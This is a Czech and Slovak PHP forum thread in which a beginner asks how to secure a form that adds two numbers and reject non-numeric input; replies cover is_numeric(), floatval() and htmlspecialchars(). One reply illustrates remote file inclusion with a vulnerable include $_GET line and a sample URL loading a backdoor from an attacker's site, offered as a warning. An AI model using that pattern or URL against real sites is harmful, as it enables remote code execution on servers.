Autor Zpráva
scitani
Profil *
Mám následující kód:

<html>
<head>
<title>Sčítání</title>
</head>
<body>
<form action="vysledek.php" method="post" name="sectenicisel">
<input type="text" name="prvniscitanec" value="První sčítanec"> <font size="6">+</font>
<input type="text" name="druhyscitanec" value="Druhý sčítanec">
<input type="submit" value="Sečíst" name="odesilacitlacitko">
</form>
</body>
</html>


<?php
//načtení hodnot z formuláře
$prvniscitanec=$_POST ['prvniscitanec'];
$druhyscitanec=$_POST ['druhyscitanec'];
//Odstranění HTML znaků
$cenavyrobkujedna= htmlspecialchars($cenavyrobkujedna, ENT_QUOTES);
$cenavyrobkudve=htmlspecialchars ($cenavyrobkudve, ENT_QUOTES);
//Převedení na číslo
$prvniscitanec=floatval($prvniscitanec);
$druhyscitanec=floatval($druhyscitanec);
//Sečetení čísel
$secteni= $prvniscitanec + $druhyscitanec;
?>
<html>
<head>
<title>Sčítání - výsledek</title>
</head>
<body>
<h1>Zadané čísla ke sečtení</h1>
<?php 
echo $prvniscitanec; 
?> 
+ 
<?php
echo $druhyscitanec; 
?> 
=
<?php 
echo $secteni; 
?>
</body>
</html>


Co mám do kódu doplnit, aby byl bezpečný? Prý existuje nějaký způsob jak se lze přes formulář dostat do kódu stránky nebo kód spustit. Moc se v tomhle neorientuji.

A "blbovzdorný",aby šlo zadat pouze čísla. Tedy, aby stránka řekla, zadal jste písmeno. Zadal jste slovo.
scitani
Profil *
Našel jsem jeden nesmysl. Opsal jsem to z jiného kódu, který mi poskytnul kámoš, který taky s PHP začíná a zapoměl upravit.

<?php
//načtení hodnot z formuláře
$prvniscitanec=$_POST ['prvniscitanec'];
$druhyscitanec=$_POST ['druhyscitanec'];
//Odstranění HTML znaků
$prvniscitanec= htmlspecialchars($prvniscitanec, ENT_QUOTES);
$druhyscitanec=htmlspecialchars ($druhyscitanec, ENT_QUOTES);
//Převedení na číslo
$prvniscitanec=floatval($prvniscitanec);
$druhyscitanec=floatval($druhyscitanec);
//Sečetení čísel
$secteni= $prvniscitanec + $druhyscitanec;
?>
<html>
<head>
<title>Sčítání - výsledek</title>
</head>
<body>
<h1>Zadané čísla ke sečtení</h1>
<?php
echo $prvniscitanec; 
?> 
+
<?php
echo $druhyscitanec;
?>
=
<?php
echo $secteni; 
?>
</body>
</html>
mckay
Profil
scitani:
A "blbovzdorný",aby šlo zadat pouze čísla. Tedy, aby stránka řekla, zadal jste písmeno. Zadal jste slovo.
Kontrolu můžeš provést pomocí funkce is_numeric().

Prý existuje nějaký způsob jak se lze přes formulář dostat do kódu stránky nebo kód spustit. Moc se v tomhle neorientuji.
Doporučuji přečíst tento článek a budeš mít jasno.
johnl
Profil
scitani:
aby šlo zadat pouze čísla
Buď pomocí javascriptu nebo v php funkcí is_numeric (v javascriptu se ta funkce jmenuje myslím taky tak..)..

Co mám do kódu doplnit, aby byl bezpečný? Prý existuje nějaký způsob jak se lze přes formulář dostat do kódu stránky nebo kód spustit.
Tohle jsem moc nepochopil, kód se přece spustí sám při odeslání (načtení stránky).. S tím vypsaním kódu je to podle mě blbost, ale nevím to jistě jen jsem se s ničím takovým zatím nesetkal tak ať to když tak potvrdí někdo zkušenější ;-)

Pozdě.. :-D :-((
scitani
Profil *
Můžete to prosím zakomponovat do mého kódu tu funkci is_numeric?
Neumím anglicky tak dobře, abych to pochopil z manuálu php
king26
Profil
johnl:
Buď pomocí javascriptu nebo v php funkcí is_numeric (v javascriptu se ta funkce jmenuje myslím taky tak..)..
v javascriptu je to funkce isNan(), pokud je to číslo, vrací false

scitani:
<?php
//načtení hodnot z formuláře a převedení na float
$prvniscitanec=floatval($_POST['prvniscitanec']);
$druhyscitanec=floatval($_POST['druhyscitanec']);
?>
<html>
<head>
<title>Sčítání - výsledek</title>
</head>
<body>
<h1>Zadané čísla ke sečtení</h1>
<?php echo $prvniscitanec." + ".$druhyscitanec." = ".($prvniscitanec+$druhyscitanec); ?> 
</body>
</html>
AM_
Profil
scitani:
Neumím anglicky tak dobře, abych to pochopil z manuálu php
se slovníkem se to dá v pohodě přelouskat. V programování se ti bude hodit se alespoň na téhle úrovni angličtinu naučit. Tedy pardon, nikoli hodit, ber to jako nezbytnost, česky je jen tragicky malý zlomek materiálů.

Co mám do kódu doplnit, aby byl bezpečný?
V tomhle kódu nic nebezpečného není a to málo máš ošetřené správně. Ve zkratce je potřeba dávat si pozor na tohle:
- aby byly všechny proměnné ve stránce zobrazené, které mohou obsahovat text od uživatele (a ne jen čísla, což zde zajistí funkce floatval()) ošetřeny htmlspecialchars()
- pokud máš někde include nebo tak něco, tak jeho parametry zapsané tak, aby uživatel nemohl vložit vlastní skript
např. toto:
include $_GET['vloz'];

se dá lehce napadnout:
index.php?vloz=http://hackeruvweb.cz/backdoor.txt

a je vystaráno, PHP skripty z backdoor.txt se spustí v rámci tvého skriptu a máš problém. Ale ve tvém skriptu nic takového není.
scitani
Profil *
Můžete mi napsta bezpečný kód pro vložení kódu pomocí funkce include? já ji píšu takhle:

<php
include 'soubor.php'
?>
scitani
Profil *
zapoměl jsem napsat slůvko PROSÍM
shaggy
Profil
scitani:
Můžete mi napsta bezpečný kód pro vložení kódu pomocí funkce include? já ji píšu takhle:
Tebe sa o tej bezpečnosti začína aj snívať, však? Myslím, že ju vidíš, aj keď nakupuješ v obchode - ten krátky kód s include je v poriadku, nič "bezpečnejšie" ti nenapíšeme.
jenikkozak
Profil
scitani:
Kód z [#8] scitani by nefungoval kvůli chybějícímu otazníku <?php. ;)
Uvedený kód vložení části kódu sám o sobě bezpečný je.
Problém vzniká v případě, že používáš „include $_GET['vloz'];“, tedy includuješ soubor, jehož adresu máš uvedenou v URL, kde ji může útočník změnit a podstrčit tak do tvého skriptu část svého.
scitani
Profil *
A jak mám funkci in_numeric zakomponovat do kódu? V tom příkladě v manuálu, jsou další příkazy, které zatím neznám a matou mě.
shaggy
Profil
scitani:
jsou další příkazy, které zatím neznám a matou mě.
Tak sa ich nauč. Potom ich budeš poznať a nebudeš zmätený.

Ak nezvládneš základné veci ako je čítanie manuálu a vloženie primitívneho kódu do svojho skriptu, tak sa rovno na to vykašli a nájdi si inú zábavu (behanie, vyšívanie). Keby si to skúšal, tak verím, že na 10/20 krát sa ti to podarí a zabralo by ti to menej času, ako čakanie na odpoveď tu na fóre.
king26
Profil
scitani:
A jak mám funkci in_numeric zakomponovat do kódu?
Nepotřebuješ jí tam zakomponovat, pokavaď nechceš vyhodit chybovou hlášku nebo nezobrazeni výsledku.

Správně ošetřený příklad máš v příspěvku [#6], funkce floatval převede cokoliv na číslo. Tzn. že "ahoj"=0, "99a"=99 atd.
scitani
Profil *
1) PROSÍM zakomponujte mi to do kódu, aby se vyhodila hláška, "Není zadáno číslo". Pro vás zkušené je to práce na minutu. Já nerozumím těm dalším příkazům v manuálu, takže nevím proč tam jsou co tam dělají, jakou tam mají funkčnost, když některý vynechám tak mi to pak nefunguje.

2) Je lepší psát na více řádek viz můj případ

//načtení hodnot z formuláře
$prvniscitanec=$_POST ['prvniscitanec'];
$druhyscitanec=$_POST ['druhyscitanec'];
//Odstranění HTML znaků
$prvniscitanec= htmlspecialchars($prvniscitanec, ENT_QUOTES);
$druhyscitanec=htmlspecialchars ($druhyscitanec, ENT_QUOTES);
//Převedení na číslo
$prvniscitanec=floatval($prvniscitanec);
$druhyscitanec=floatval($druhyscitanec);


Nebo vše dát na jednu řádku?

//načtení hodnot z formuláře a převedení na float
$prvniscitanec=floatval($_POST['prvniscitanec']);
$druhyscitanec=floatval($_POST['druhyscitanec']);


Nějak se zapomělo na htmlspecialchars.
king26
Profil
scitani:
1) PROSÍM zakomponujte mi to do kódu, aby se vyhodila hláška, "Není zadáno číslo"
<html>
<head>
<title>Sčítání - výsledek</title>
</head>
<body>
<?php
if(is_numeric($_POST['prvniscitanec'])&&is_numeric($_POST['druhyscitanec'])) {
  //načtení hodnot z formuláře a převedení na float
  $prvniscitanec=floatval($_POST['prvniscitanec']);
  $druhyscitanec=floatval($_POST['druhyscitanec']);
  echo "<h1>Zadané čísla k sečtení:</h1>";
  echo $prvniscitanec." + ".$druhyscitanec." = ".($prvniscitanec+$druhyscitanec);
} else {
  echo "<h1>Čísla nejsou zadána ve správném tvaru!</h1>";
}
?>
</body>
</html>


2) Je lepší psát na více řádek viz můj případ?
podle toho, jak ti to vyhovuje, jak to pro tebe bude přehledné

Nějak se zapomnělo na htmlspecialchars.
Nezapomnělo, vynecháno záměrně. floatval() převede cokoliv na číslo, tzn. nemůžou se tam objevit znaky, které by při vepsání do stránky vložili na místo nebezpečný kód. Pokud by si ovšem pracoval s řetězcem (string), htmlspecialchars() je nutnosti!

V tomto případě by se i samotné floatval() použít nemuselo, protože je to ošetřeno podmínkou is_numeric().
scitani
Profil *
Funguje! moc díky

Vaše odpověď

Mohlo by se hodit


Prosím používejte diakritiku a interpunkci.

Ochrana proti spamu. Napište prosím číslo dvě-sta čtyřicet-sedm: